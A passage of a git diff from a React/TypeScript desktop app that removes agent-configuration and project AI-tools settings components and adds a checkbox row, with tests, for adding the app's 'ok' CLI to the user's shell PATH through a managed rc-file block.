screen.findByTestId('configure-agents-terminal-codex');- const codexRow = screen.getByTestId('configure-agents-terminal-codex').closest('div[class]');- expect(codexRow?.parentElement?.textContent ?? '').toContain('Not installed');- });-- test('toggling a CLI writes the terminal: override key, not the desktop one', async () => {- renderSection();- const toggle = await screen.findByTestId('configure-agents-terminal-claude');- const desktopKeyBefore = overrides()['desktop:claude-code'];- fireEvent.click(toggle);- await waitFor(() => expect(overrides()['terminal:claude']).toBe(false));- expect(overrides()['desktop:claude-code']).toBe(desktopKeyBefore);- });-});diff --git a/packages/app/src/components/settings/ConfigureAgentsSection.tsx b/packages/app/src/components/settings/ConfigureAgentsSection.tsxdeleted file mode 100644index c6ebc6129..000000000--- a/packages/app/src/components/settings/ConfigureAgentsSection.tsx+++ /dev/null@@ -1,384 +0,0 @@-// biome-ignore-all lint/plugin/no-physical-direction-utility: pre-rule backlog — physical margin/padding/inset utilities predate the rule; drain by swapping ml/mr → ms/me, pl/pr → ps/pe, left/right → start/end, then deleting this line. See https://github.com/inkeep/open-knowledge/blob/main/biome-plugins/README.md#no-physical-direction-utilitygrit--import { TERMINAL_CLI_IDS, TERMINAL_CLIS, type TerminalCli } from '@inkeep/open-knowledge-core';-import { useLingui } from '@lingui/react/macro';-import { useQuery } from '@tanstack/react-query';-import { ArrowUpRight, Search, WifiOff } from 'lucide-react';-import { type ReactNode, useEffect, useEffectEvent, useState } from 'react';-import { RegisteredAgentIcon } from '@/components/acp/RegisteredAgentIcon';-import { TargetIcon } from '@/components/handoff/OpenInAgentMenuItem';-import { useTerminalLaunch } from '@/components/handoff/TerminalLaunchContext';-import { cliIconTargetId } from '@/components/handoff/terminal-cli-display';-import { useInstalledAgents } from '@/components/handoff/useInstalledAgents';-import { Button } from '@/components/ui/button';-import { Input } from '@/components/ui/input';-import { Spinner } from '@/components/ui/spinner';-import { Switch } from '@/components/ui/switch';-import {- isDesktopTargetEnabled,- isInAppAgentEnabled,- isTerminalCliEnabled,-} from '@/lib/acp/agent-visibility';-import {- type CatalogAgent,- fetchAgentCatalog,- harnessPresenceRank,- isHarnessDetected,-} from '@/lib/acp/catalog';-import {- desktopEnabledKey,- inAppEnabledKey,- setAgentEnabled,- terminalEnabledKey,- useEnabledOverrides,-} from '@/lib/acp/enabled-agents';-import {- reassignDefaultIfDisabled,- registerAgent,- useRegisteredAgents,-} from '@/lib/acp/registered-agents';-import { VISIBLE_TARGETS } from '@/lib/handoff/targets';-import { SettingsSectionHeader } from './SettingsSectionHeader';--function AgentRow({- icon,- name,- hint,- checked,- disabled,- ariaLabel,- testId,- onToggle,-}: {- icon: ReactNode;- name: ReactNode;- hint?: ReactNode;- checked: boolean;- disabled?: boolean;- ariaLabel: string;- testId: string;- onToggle: (next: boolean) => void;-}): ReactNode {- return (- <div className="flex items-center justify-between gap-3 px-3 py-2.5">- <div className="flex min-w-0 items-start gap-2.5">- {}- <span className="flex h-5 shrink-0 items-center">{icon}</span>- <div className="flex min-w-0 flex-col">- <span className="truncate text-sm leading-5">{name}</span>- {hint ? <span className="truncate text-muted-foreground text-1sm">{hint}</span> : null}- </div>- </div>- <Switch- checked={checked}- disabled={disabled}- onCheckedChange={onToggle}- aria-label={ariaLabel}- data-testid={testId}- />- </div>- );-}--function AgentGroup({- label,- labelIcon,- children,- labelId,-}: {- label: string;- labelIcon?: ReactNode;- labelId: string;- children: ReactNode;-}): ReactNode {- return (- <section aria-labelledby={labelId}>- <h4- id={labelId}- className="mb-2 flex items-center gap-1.5 font-mono text-muted-foreground text-xs uppercase tracking-wide"- >- {label}- {labelIcon}- </h4>- <div className="divide-y overflow-hidden rounded-md border">{children}</div>- </section>- );-}--export function ConfigureAgentsSection(): ReactNode {- const { t } = useLingui();- const showMoreLabel = (hiddenCount: number): string => t`Show ${hiddenCount} more`;- const overrides = useEnabledOverrides();- const registered = useRegisteredAgents();- const { states, refresh } = useInstalledAgents();- const terminalLaunch = useTerminalLaunch();- const [query, setQuery] = useState('');- const [showInAppOverflow, setShowInAppOverflow] = useState(false);- const [showTerminalOverflow, setShowTerminalOverflow] = useState(false);-- const catalog = useQuery({- queryKey: ['acp-catalog'],- queryFn: ({ signal }) => fetchAgentCatalog(signal),- staleTime: 5 * 60 * 1000,- });-- const refreshOnMount = useEffectEvent(() => {- void refresh();- });- useEffect(() => {- refreshOnMount();- }, []);-- const catalogAgents = catalog.data?.agents;- const registeredKeys = new Set(registered.map((a) => `${a.source}:${a.id}`));- const installedClis = terminalLaunch?.installedClis ?? {};-- const q = query.trim().toLowerCase();- const matches = (text: string): boolean => q === '' || text.toLowerCase().includes(q);-- const inAppAgents = (catalogAgents ?? []).filter((agent) => matches(agent.name));- const cliPresent = (cli: TerminalCli): boolean => installedClis[cli] !== false;- const terminalClis =- terminalLaunch !== null- ? TERMINAL_CLI_IDS.filter((cli) => matches(TERMINAL_CLIS[cli].displayName)).sort(- (a, b) =>- Number(cliPresent(b)) - Number(cliPresent(a)) ||- TERMINAL_CLIS[a].displayName.localeCompare(TERMINAL_CLIS[b].displayName),- )- : [];- const desktopTargets = VISIBLE_TARGETS.filter((target) => {- const { displayName } = target;- return matches(t`${displayName} Desktop`) || matches(target.id);- }).sort(- (a, b) => Number(states[a.id]?.installed === false) - Number(states[b.id]?.installed === false),- );-- const searching = q !== '';- const catalogReady = !catalog.isLoading && !catalog.isError;- const noMatches =- searching &&- catalogReady &&- inAppAgents.length === 0 &&- terminalClis.length === 0 &&- desktopTargets.length === 0;- const showInApp = !searching || catalog.isLoading || catalog.isError || inAppAgents.length > 0;- const showTerminal = terminalLaunch !== null && (!searching || terminalClis.length > 0);- const showDesktop = !searching || desktopTargets.length > 0;-- const inAppChecked = (agent: CatalogAgent): boolean => {- const isRegistered = registeredKeys.has(`${agent.source}:${agent.id}`);- const isDetected = isHarnessDetected(agent);- return isInAppAgentEnabled(- overrides,- agent.source,- agent.id,- isRegistered || isDetected,- agent.supported,- );- };- const isPrimaryAgent = (a: CatalogAgent): boolean =>- (a.harness !== undefined && harnessPresenceRank(a) === 0) || inAppChecked(a);- const inAppPrimary = inAppAgents.filter(isPrimaryAgent);- const inAppShown = [...(searching || showInAppOverflow ? inAppAgents : inAppPrimary)].sort(- (a, b) => Number(isPrimaryAgent(b)) - Number(isPrimaryAgent(a)) || a.name.localeCompare(b.name),- );- const inAppHiddenCount = searching ? 0 : inAppAgents.length - inAppPrimary.length;-- const terminalPrimary = terminalClis.filter(cliPresent);- const terminalFoldable =- terminalPrimary.length > 0 && terminalPrimary.length < terminalClis.length;- const terminalShown =- !terminalFoldable || searching || showTerminalOverflow ? terminalClis : terminalPrimary;- const terminalHiddenCount =- terminalFoldable && !searching ? terminalClis.length - terminalPrimary.length : 0;-- const inAppHasDetected = !catalogReady || inAppAgents.some(isHarnessDetected);- const terminalHasPresent = terminalClis.some(cliPresent);- const desktopHasPresent = desktopTargets.some((tg) => states[tg.id]?.installed === true);-- const inAppGroup = showInApp ? (- <AgentGroup key="in-app" label={t`In app`} labelId="settings-configure-agents-in-app">- {catalog.isLoading ? (- <div className="flex items-center justify-center gap-2 px-3 py-6 text-muted-foreground text-sm">- <Spinner className="size-4" aria-hidden="true" />- {t`Loading agents…`}- </div>- ) : catalog.isError ? (- <div className="flex flex-col items-center gap-2 px-3 py-6 text-center text-muted-foreground text-sm">- <WifiOff className="size-5" aria-hidden="true" />- <span>{t`Couldn't reach the agent registry.`}</span>- <Button type="button" variant="outline" size="sm" onClick={() => void catalog.refetch()}>- {t`Retry`}- </Button>- </div>- ) : (catalogAgents?.length ?? 0) === 0 ? (- <p className="px-3 py-6 text-center text-muted-foreground text-sm">- {t`No agents available.`}- </p>- ) : (- <>- {inAppShown.map((agent: CatalogAgent) => {- const checked = inAppChecked(agent);- const hint = !agent.supported ? t`Not available on this platform` : agent.description;- return (- <AgentRow- key={`${agent.source}:${agent.id}`}- icon={- <RegisteredAgentIcon- agentId={agent.id}- iconUrl={agent.iconUrl}- className="size-4"- />- }- name={agent.name}- hint={hint}- checked={checked}- disabled={!agent.supported}- ariaLabel={t`Enable ${agent.name}`}- testId={`configure-agents-in-app-${agent.source}:${agent.id}`}- onToggle={(next) => {- if (next) {- registerAgent(- {- source: agent.source,- id: agent.id,- name: agent.name,- supported: agent.supported,- featured: agent.featured,- ...(agent.iconUrl !== undefined ? { iconUrl: agent.iconUrl } : {}),- },- { makeDefault: false },- );- setAgentEnabled(inAppEnabledKey(agent.source, agent.id), true);- } else {- setAgentEnabled(inAppEnabledKey(agent.source, agent.id), false);- reassignDefaultIfDisabled(`${agent.source}:${agent.id}`, (a) =>- isInAppAgentEnabled(overrides, a.source, a.id, true, a.supported),- );- }- }}- />- );- })}- {inAppHiddenCount > 0 ? (- <Button- type="button"- variant="ghost"- onClick={() => setShowInAppOverflow((v) => !v)}- className="w-full justify-center rounded-none font-normal text-1sm text-muted-foreground"- data-testid="configure-agents-in-app-show-more"- >- {showInAppOverflow ? t`Show less` : showMoreLabel(inAppHiddenCount)}- </Button>- ) : null}- </>- )}- </AgentGroup>- ) : null;-- const terminalGroup = showTerminal ? (- <AgentGroup key="terminal" label={t`Terminal`} labelId="settings-configure-agents-terminal">- {terminalShown.map((cli: TerminalCli) => {- const { displayName } = TERMINAL_CLIS[cli];- const notInstalled = installedClis[cli] === false;- return (- <AgentRow- key={cli}- icon={<TargetIcon id={cliIconTargetId(cli)} className="size-4" aria-hidden="true" />}- name={t`${displayName} CLI`}- hint={notInstalled ? t`Not installed` : undefined}- checked={isTerminalCliEnabled(overrides, cli, installedClis)}- ariaLabel={t`Enable ${displayName} CLI`}- testId={`configure-agents-terminal-${cli}`}- onToggle={(next) => setAgentEnabled(terminalEnabledKey(cli), next)}- />- );- })}- {terminalHiddenCount > 0 ? (- <Button- type="button"- variant="ghost"- onClick={() => setShowTerminalOverflow((v) => !v)}- className="w-full justify-center rounded-none font-normal text-1sm text-muted-foreground"- data-testid="configure-agents-terminal-show-more"- >- {showTerminalOverflow ? t`Show less` : showMoreLabel(terminalHiddenCount)}- </Button>- ) : null}- </AgentGroup>- ) : null;-- const desktopGroup = showDesktop ? (- <AgentGroup- key="desktop"- label={t`External apps`}- labelId="settings-configure-agents-desktop"- labelIcon={<ArrowUpRight aria-hidden="true" className="size-3" />}- >- {desktopTargets.map((target) => {- const installed = states[target.id]?.installed ?? null;- const { displayName } = target;- return (- <AgentRow- key={target.id}- icon={<TargetIcon id={target.id} className="size-4" aria-hidden="true" />}- name={t`${displayName} Desktop`}- hint={installed === false ? t`Not installed` : undefined}- checked={isDesktopTargetEnabled(overrides, target.id, installed)}- ariaLabel={t`Enable ${displayName} Desktop`}- testId={`configure-agents-desktop-${target.id}`}- onToggle={(next) => setAgentEnabled(desktopEnabledKey(target.id), next)}- />- );- })}- </AgentGroup>- ) : null;-- const groups = [- { node: inAppGroup, hasPresent: inAppHasDetected },- { node: terminalGroup, hasPresent: terminalHasPresent },- { node: desktopGroup, hasPresent: desktopHasPresent },- ]- .sort((a, b) => Number(b.hasPresent) - Number(a.hasPresent))- .map((g) => g.node);-- const titleId = 'settings-configure-agents-title';-- return (- <section- aria-labelledby={titleId}- className="space-y-6"- data-testid="settings-configure-agents"- >- <SettingsSectionHeader titleId={titleId} title={t`Configure agents`} scope="user">- {t`Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them.`}- </SettingsSectionHeader>-- <div className="relative">- <Search- className="-translate-y-1/2 absolute top-1/2 left-2.5 size-4 text-muted-foreground"- aria-hidden="true"- />- <Input- value={query}- onChange={(event) => setQuery(event.target.value)}- placeholder={t`Search agents`}- aria-label={t`Search agents`}- className="pl-8"- data-testid="configure-agents-search"- />- </div>-- {noMatches ? (- <p- className="py-6 text-center text-muted-foreground text-sm"- data-testid="configure-agents-no-results"- >- {t`No agents match your search.`}- </p>- ) : null}-- {groups}- </section>- );-}diff --git a/packages/app/src/components/settings/OkCliPathRow.dom.test.tsx b/packages/app/src/components/settings/OkCliPathRow.dom.test.tsxnew file mode 100644index 000000000..1af1811ad--- /dev/null+++ b/packages/app/src/components/settings/OkCliPathRow.dom.test.tsx@@ -0,0 +1,138 @@+import * as actualLinguiMacro from '@lingui/react/macro';+import { cleanup, render, screen, waitFor } from '@testing-library/react';+import userEvent from '@testing-library/user-event';+import type { ReactNode } from 'react';+import { afterEach, describe, expect, test, vi } from 'vitest';+import type {+ OkIntegrationsSetRequest,+ OkIntegrationsSetResult,+ OkIntegrationsStatus,+} from '@/lib/desktop-bridge-types';+import { renderLinguiTemplate } from '@/test-utils/lingui-mock';++vi.doMock('@lingui/react/macro', () => ({+ ...actualLinguiMacro,+ Trans: ({ children }: { children: ReactNode }) => <>{children}</>,+ useLingui: () => ({ t: renderLinguiTemplate }),+}));++const toastError = vi.fn(() => {});+vi.doMock('sonner', () => ({+ toast: { error: toastError, info: vi.fn(() => {}), success: vi.fn(() => {}) },+}));++const { OkCliPathRow } = await import('./OkCliPathRow');+const { TooltipProvider } = await import('@/components/ui/tooltip');++function statusWith(path: OkIntegrationsStatus['path']): OkIntegrationsStatus {+ return { available: true, editors: [], skills: [], path };+}++function installBridge(+ status: OkIntegrationsStatus,+ setResult?: (request: OkIntegrationsSetRequest) => OkIntegrationsSetResult,+) {+ const setCalls: OkIntegrationsSetRequest[] = [];+ const bridge = {+ integrations: {+ status: async () => status,+ setComponent: async (request: OkIntegrationsSetRequest) => {+ setCalls.push(request);+ return setResult ? setResult(request) : { ok: true as const, status };+ },+ },+ };+ Object.defineProperty(window, 'okDesktop', {+ value: bridge,+ configurable: true,+ writable: true,+ });+ return { setCalls };+}++function renderRow() {+ return render(+ <TooltipProvider>+ <OkCliPathRow />+ </TooltipProvider>,+ );+}++afterEach(() => {+ cleanup();+ toastError.mockClear();+ // biome-ignore lint/suspicious/noExplicitAny: test-only global teardown.+ (window as any).okDesktop = undefined;+});++describe('OkCliPathRow', () => {+ test('reflects the installed state on disk and names the file it manages', async () => {+ installBridge(+ statusWith({ shellDetected: true, rcFilesToTouch: ['~/.zshrc'], installed: true }),+ );+ renderRow();++ const checkbox = await screen.findByTestId('ok-cli-path-checkbox');+ expect(checkbox.getAttribute('data-state')).toBe('checked');+ expect(screen.getByTestId('ok-cli-path-status').textContent).toContain('~/.zshrc');+ });++ test('checking it asks the host to install the shim', async () => {+ const { setCalls } = installBridge(+ statusWith({ shellDetected: true, rcFilesToTouch: ['~/.zshrc'], installed: false }),+ );+ renderRow();++ await userEvent.click(await screen.findByTestId('ok-cli-path-checkbox'));++ await waitFor(() => expect(setCalls).toHaveLength(1));+ expect(setCalls[0]).toEqual({ component: { kind: 'path' }, enabled: true });+ });++ test('unchecking it asks the host to remove the shim', async () => {+ const { setCalls } = installBridge(+ statusWith({ shellDetected: true, rcFilesToTouch: ['~/.zshrc'], installed: true }),+ );+ renderRow();++ await userEvent.click(await screen.findByTestId('ok-cli-path-checkbox'));++ await waitFor(() => expect(setCalls).toHaveLength(1));+ expect(setCalls[0]).toEqual({ component: { kind: 'path' }, enabled: false });+ });++ test('surfaces a refused apply instead of silently reverting the box', async () => {+ const status = statusWith({+ shellDetected: true,+ rcFilesToTouch: ['~/.zshrc'],+ installed: false,+ });+ installBridge(status, () => ({ ok: false as const, error: 'rc file is read-only', status }));+ renderRow();++ await userEvent.click(await screen.findByTestId('ok-cli-path-checkbox'));++ await waitFor(() => expect(toastError).toHaveBeenCalledWith('rc file is read-only'));+ });++ test('renders nothing without the desktop bridge', async () => {+ renderRow();+ await waitFor(() => expect(screen.queryByTestId('ok-cli-path-row')).toBeNull());+ });++ test('renders nothing when there is no shell to add it to and nothing installed', async () => {+ installBridge(statusWith({ shellDetected: false, rcFilesToTouch: [], installed: false }));+ renderRow();+ await waitFor(() => expect(screen.queryByTestId('ok-cli-path-row')).toBeNull());+ });++ test('still offers removal when the shell went away but the block did not', async () => {+ installBridge(+ statusWith({ shellDetected: false, rcFilesToTouch: ['~/.zshrc'], installed: true }),+ );+ renderRow();++ const checkbox = await screen.findByTestId('ok-cli-path-checkbox');+ expect(checkbox.getAttribute('data-state')).toBe('checked');+ });+});diff --git a/packages/app/src/components/settings/OkCliPathRow.tsx b/packages/app/src/components/settings/OkCliPathRow.tsxnew file mode 100644index 000000000..17a6ae360--- /dev/null+++ b/packages/app/src/components/settings/OkCliPathRow.tsx@@ -0,0 +1,116 @@+import { Trans, useLingui } from '@lingui/react/macro';+import { Info } from 'lucide-react';+import { useEffect, useState } from 'react';+import { toast } from 'sonner';+import { Button } from '@/components/ui/button';+import { Checkbox } from '@/components/ui/checkbox';+import { Label } from '@/components/ui/label';+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';+import type { OkIntegrationsStatus } from '@/lib/desktop-bridge-types';++export function OkCliPathRow() {+ const { t } = useLingui();+ const bridge = typeof window !== 'undefined' ? (window.okDesktop ?? null) : null;+ const [status, setStatus] = useState<OkIntegrationsStatus | null>(null);+ const [busy, setBusy] = useState(false);++ useEffect(() => {+ if (!bridge) return;+ let cancelled = false;+ bridge.integrations+ .status()+ .then((snapshot) => {+ if (!cancelled) setStatus(snapshot);+ })+ .catch(() => undefined);+ return () => {+ cancelled = true;+ };+ }, [bridge]);++ async function toggle(enabled: boolean): Promise<void> {+ if (!bridge) return;+ setBusy(true);+ try {+ const result = await bridge.integrations.setComponent({+ component: { kind: 'path' },+ enabled,+ });+ setStatus(result.status);+ if (!result.ok) toast.error(result.error);+ } catch (err) {+ toast.error(+ t`Couldn't apply the change: ${err instanceof Error ? err.message : String(err)}`,+ );+ }+ setBusy(false);+ }++ if (status === null) return null;+ if (!status.path.shellDetected && !status.path.installed) return null;++ const files = status.path.rcFilesToTouch;++ return (+ <div className="flex flex-col gap-1.5" data-testid="ok-cli-path-row">+ {}+ <div className="flex items-start overflow-hidden rounded-md border border-border bg-card/50 hover:bg-accent">+ <Label+ htmlFor="ok-cli-path"+ className="flex flex-1 cursor-pointer items-start gap-2.5 px-3 py-2.5 font-normal"+ >+ <Checkbox+ id="ok-cli-path"+ checked={status.path.installed}+ disabled={busy || !status.available}+ onCheckedChange={() => void toggle(!status.path.installed)}+ className="mt-0.5"+ data-testid="ok-cli-path-checkbox"+ />+ <span className="flex min-w-0 flex-1 flex-col gap-0.5">+ <span className="font-medium text-foreground text-sm">+ <Trans>+ Add the <code className="inline-code">ok</code> command to your terminal+ </Trans>+ </span>+ <span className="text-muted-foreground text-xs" data-testid="ok-cli-path-status">+ <Trans>Adds a managed block to</Trans>{' '}+ {files.map((file, index) => (+ <span key={file}>+ {index > 0 ? ', ' : null}+ <code className="break-all">{file}</code>+ </span>+ ))}+ </span>+ </span>+ </Label>+ <Tooltip>+ <TooltipTrigger asChild>+ <Button+ variant="ghost"+ size="icon"+ className="mt-1.5 me-1.5 h-6 w-6 shrink-0 text-muted-foreground opacity-60 hover:opacity-100"+ aria-label={t`What this checkbox changes`}+ data-testid="ok-cli-path-info"+ >+ <Info className="size-3.5" />+ </Button>+ </TooltipTrigger>+ {}+ <TooltipContent side="left" className="max-w-sm text-left">+ <div className="flex min-w-0 flex-col gap-1">+ <p className="opacity-70">+ <Trans>Adds a managed block to</Trans>+ </p>+ {files.map((file) => (+ <p key={file}>+ <code className="break-all">{file}</code>+ </p>+ ))}+ </div>+ </TooltipContent>+ </Tooltip>+ </div>+ </div>+ );+}diff --git a/packages/app/src/components/settings/ProjectAiToolsSection.dom.test.tsx b/packages/app/src/components/settings/ProjectAiToolsSection.dom.test.tsxdeleted file mode 100644index f9c3e8a63..000000000--- a/packages/app/src/components/settings/ProjectAiToolsSection.dom.test.tsx+++ /dev/null@@ -1,279 +0,0 @@-import * as actualLinguiMacro from '@lingui/react/macro';-import { cleanup, render, screen, waitFor } from '@testing-library/react';-import userEvent from '@testing-library/user-event';-import type { ReactNode } from 'react';-import { afterEach, describe, expect, test, vi } from 'vitest';-import type {- OkProjectIntegrationsSetRequest,- OkProjectIntegrationsSetResult,- OkProjectIntegrationsStatus,-} from '@/lib/desktop-bridge-types';-import { renderLinguiTemplate } from '@/test-utils/lingui-mock';--vi.doMock('@lingui/react/macro', () => ({- ...actualLinguiMacro,- Trans: ({ children }: { children: ReactNode }) => <>{children}</>,- useLingui: () => ({ t: renderLinguiTemplate }),-}));--const toastError = vi.fn(() => {});-vi.doMock('sonner', () => ({- toast: { error: toastError, info: vi.fn(() => {}), success: vi.fn(() => {}) },-}));--const { ProjectAiToolsSection } = await import('./ProjectAiToolsSection');-const { TooltipProvider } = await import('@/components/ui/tooltip');--function renderSection() {- return render(- <TooltipProvider>- <ProjectAiToolsSection />- </TooltipProvider>,- );-}--const baseStatus: OkProjectIntegrationsStatus = {- available: true,- hasProject: true,- projectDir: '~/proj',- editors: [- {- id: 'claude',- label: 'Claude Code',- detected: true,- state: 'installed',- configPath: '.mcp.json',- entryLocator: 'mcpServers.open-knowledge',- followUp: 'approve-once',- },- {- id: 'cursor',- label: 'Cursor',- detected: false,- state: 'not-installed',- configPath: '.cursor/mcp.json',- entryLocator: 'mcpServers.open-knowledge',- followUp: 'enable-manually',- },- {- id: 'codex',- label: 'Codex',- detected: true,- state: 'foreign',- configPath: '.codex/config.toml',- entryLocator: '[mcp_servers.open-knowledge]',- followUp: 'auto-connect',- },- ],- skill: {- installed: true,- paths: ['.claude/skills/open-knowledge/SKILL.md', '.codex/skills/open-knowledge/SKILL.md'],- description:- 'Authoritative agent-runtime contract for working inside an OpenKnowledge project — a markdown-CRDT knowledge base exposed over MCP.',- blurb: 'How to use OpenKnowledge and its MCP tools.',- hosts: ['claude', 'codex'],- size: { alwaysOn: 140, onTrigger: 1495, onDemand: 0 },- sourceDir: '/bundled/project',- },-};--interface HarnessOpts {- status?: OkProjectIntegrationsStatus;- setResult?: (request: OkProjectIntegrationsSetRequest) => OkProjectIntegrationsSetResult;-}--function installBridge({ status = baseStatus, setResult }: HarnessOpts = {}) {- const setCalls: OkProjectIntegrationsSetRequest[] = [];- const bridge = {- projectIntegrations: {- status: async () => status,- setComponent: async (request: OkProjectIntegrationsSetRequest) => {- setCalls.push(request);- return setResult ? setResult(request) : { ok: true as const, status };- },- },- };- Object.defineProperty(window, 'okDesktop', { value: bridge, configurable: true, writable: true });- return { setCalls };-}--async function expandEditors(): Promise<void> {- await userEvent.click(await screen.findByTestId('project-ai-tools-editors-show-more'));-}--afterEach(() => {- cleanup();- toastError.mockClear();- // biome-ignore lint/suspicious/noExplicitAny: test-only global teardown.- (window as any).okDesktop = undefined;-});--describe('ProjectAiToolsSection', () => {- test('renders the desktop-only fallback when no bridge is present', () => {- renderSection();- expect(screen.getByTestId('project-ai-tools-unavailable')).toBeTruthy();- });-- test('shows the unavailable fallback (not a stuck skeleton) when the status fetch rejects', async () => {- const bridge = {- projectIntegrations: {- status: async () => {- throw new Error('IPC error');- },- setComponent: async () => ({ ok: true as const, status: baseStatus }),- },- };- Object.defineProperty(window, 'okDesktop', {- value: bridge,- configurable: true,- writable: true,- });- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-unavailable')).toBeTruthy();- });- expect(screen.queryByTestId('project-ai-tools-loading')).toBeNull();- });-- test('renders each project MCP row, and points at where the skill went', async () => {- installBridge();- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-editor-checkbox-claude')).toBeTruthy();- });- expect(screen.queryByTestId('project-ai-tools-editor-checkbox-cursor')).toBeNull();- expect(screen.getByTestId('project-ai-tools-editor-checkbox-codex')).toBeTruthy();- await expandEditors();- expect(screen.getByTestId('project-ai-tools-editor-checkbox-cursor')).toBeTruthy();- expect(screen.queryByTestId('project-ai-tools-skill-uninstall')).toBeNull();- expect(screen.getByTestId('project-ai-tools-skills-moved').textContent).toContain(- 'Skills Studio',- );- });-- test('installed/foreign rows are checked; not-installed rows are not', async () => {- installBridge();- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-editor-checkbox-claude')).toBeTruthy();- });- expect(- screen.getByTestId('project-ai-tools-editor-checkbox-claude').getAttribute('aria-checked'),- ).toBe('true');- await expandEditors();- expect(- screen.getByTestId('project-ai-tools-editor-checkbox-cursor').getAttribute('aria-checked'),- ).toBe('false');- expect(- screen.getByTestId('project-ai-tools-editor-checkbox-codex').getAttribute('aria-checked'),- ).toBe('true');- });-- test('shows the per-editor follow-up hint on installed/foreign rows only', async () => {- installBridge();- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-editor-followup-claude')).toBeTruthy();- });- expect(screen.getByTestId('project-ai-tools-editor-followup-codex')).toBeTruthy();- await expandEditors();- expect(screen.queryByTestId('project-ai-tools-editor-followup-cursor')).toBeNull();- });-- test('checking a not-installed editor calls setComponent(install)', async () => {- const { setCalls } = installBridge();- renderSection();- const user = userEvent.setup();- await expandEditors();- await user.click(screen.getByTestId('project-ai-tools-editor-checkbox-cursor'));- await waitFor(() => expect(setCalls.length).toBe(1));- expect(setCalls[0]).toEqual({ component: { kind: 'editor', id: 'cursor' }, enabled: true });- });-- test('a refused toggle surfaces the error as a toast', async () => {- installBridge({- setResult: () => ({- ok: false as const,- error: 'guest config — left unchanged',- status: baseStatus,- }),- });- renderSection();- const user = userEvent.setup();- await expandEditors();- await user.click(screen.getByTestId('project-ai-tools-editor-checkbox-cursor'));- await waitFor(() => expect(toastError).toHaveBeenCalledWith('guest config — left unchanged'));- });-- test('no project open → empty state, no rows', async () => {- installBridge({- status: { available: true, hasProject: false, projectDir: null, editors: [], skill: null },- });- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-no-project')).toBeTruthy();- });- expect(screen.queryByTestId('project-ai-tools-skill-checkbox')).toBeNull();- });-- test('read-only build shows the banner and disables the checkboxes', async () => {- installBridge({ status: { ...baseStatus, available: false } });- renderSection();- await waitFor(() => {- expect(screen.getByTestId('project-ai-tools-read-only')).toBeTruthy();- });- });-- test('detection keeps an unwired editor above the fold without claiming presence', async () => {- installBridge({- status: {- ...baseStatus,- editors: baseStatus.editors.map((editor) =>- editor.id === 'cursor' ? { ...editor, detected: true } : editor,- ),- },- });- renderSection();-- await screen.findByTestId('project-ai-tools-editor-checkbox-cursor');- expect(screen.queryByTestId('project-ai-tools-editors-show-more')).toBeNull();- expect(document.body.textContent).not.toContain('Detected on this machine');- });-- test('the editor disclosure expands and collapses the hidden rows', async () => {- installBridge();- renderSection();-- const disclosure = await screen.findByTestId('project-ai-tools-editors-show-more');- expect(disclosure.getAttribute('aria-expanded')).toBe('false');- expect(screen.queryByTestId('project-ai-tools-editor-checkbox-cursor')).toBeNull();-- const user = userEvent.setup();- await user.click(disclosure);- expect(disclosure.getAttribute('aria-expanded')).toBe('true');- expect(screen.getByTestId('project-ai-tools-editor-checkbox-cursor')).toBeTruthy();-- await user.click(disclosure);- expect(disclosure.getAttribute('aria-expanded')).toBe('false');- expect(screen.queryByTestId('project-ai-tools-editor-checkbox-cursor')).toBeNull();- });-- test('shows the full list when nothing is configured or detected', async () => {- installBridge({- status: {- ...baseStatus,- editors: baseStatus.editors.map((editor) => ({- ...editor,- detected: false,- state: 'not-installed' as const,- })),- },- });- renderSection();-- await screen.findByTestId('project-ai-tools-editor-checkbox-cursor');- expect(screen.getByTestId('project-ai-tools-editor-checkbox-claude')).toBeTruthy();- expect(screen.getByTestId('project-ai-tools-editor-checkbox-codex')).toBeTruthy();- expect(screen.queryByTestId('project-ai-tools-editors-show-more')).toBeNull();- });-});diff --git a/packages/app/src/components/settings/ProjectAiToolsSection.tsx b/packages/app/src/components/settings/ProjectAiToolsSection.tsxdeleted file mode 100644index 13d444917..000000000--- a/packages/app/src/components/settings/ProjectAiToolsSection.tsx+++ /dev/null@@ -1,294 +0,0 @@-// biome-ignore-all lint/plugin/no-physical-direction-utility: pre-rule backlog — physical margin/padding/inset utilities predate the rule; drain by swapping ml/mr → ms/me, pl/pr → ps/pe, left/right → start/end, then deleting this line. See https://github.com/inkeep/open-knowledge/blob/main/biome-plugins/README.md#no-physical-direction-utilitygrit--import { Trans, useLingui } from '@lingui/react/macro';-import { Info } from 'lucide-react';-import { type ReactNode, useEffect, useState } from 'react';-import { toast } from 'sonner';-import { Button } from '@/components/ui/button';-import { Checkbox } from '@/components/ui/checkbox';-import { Label } from '@/components/ui/label';-import { Skeleton } from '@/components/ui/skeleton';-import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';-import type {- OkProjectIntegrationsFollowUp,- OkProjectIntegrationsSetRequest,- OkProjectIntegrationsStatus,-} from '@/lib/desktop-bridge-types';-import { foldEditorsByPrimary, ShowMoreRow } from './editor-list-fold';-import { SettingsSectionHeader } from './SettingsSectionHeader';--type EditorRow = OkProjectIntegrationsStatus['editors'][number];-type ComponentRef = OkProjectIntegrationsSetRequest['component'];--function editorKey(id: string): string {- return `editor:${id}`;-}-const SKILL_KEY = 'skill';--function RowInfoTooltip({ testId, children }: { testId: string; children: ReactNode }) {- const { t } = useLingui();- return (- <Tooltip>- <TooltipTrigger asChild>- <Button- variant="ghost"- size="icon"- className="mt-1.5 mr-1.5 h-6 w-6 shrink-0 text-muted-foreground opacity-60 hover:opacity-100"- aria-label={t`What this checkbox changes`}- data-testid={testId}- >- <Info className="size-3.5" />- </Button>- </TooltipTrigger>- {}- <TooltipContent side="left" className="max-w-sm text-left">- <div className="flex min-w-0 flex-col gap-1">{children}</div>- </TooltipContent>- </Tooltip>- );-}--function FollowUpHint({- followUp,- testId,-}: {- followUp: OkProjectIntegrationsFollowUp;- testId: string;-}) {- if (followUp === 'none') return null;- return (- <span role="status" className="text-xs text-amber-600 dark:text-amber-400" data-testid={testId}>- {followUp === 'approve-once' ? (- <Trans comment="Next step for a Claude Code project MCP row">- One more step: run <code 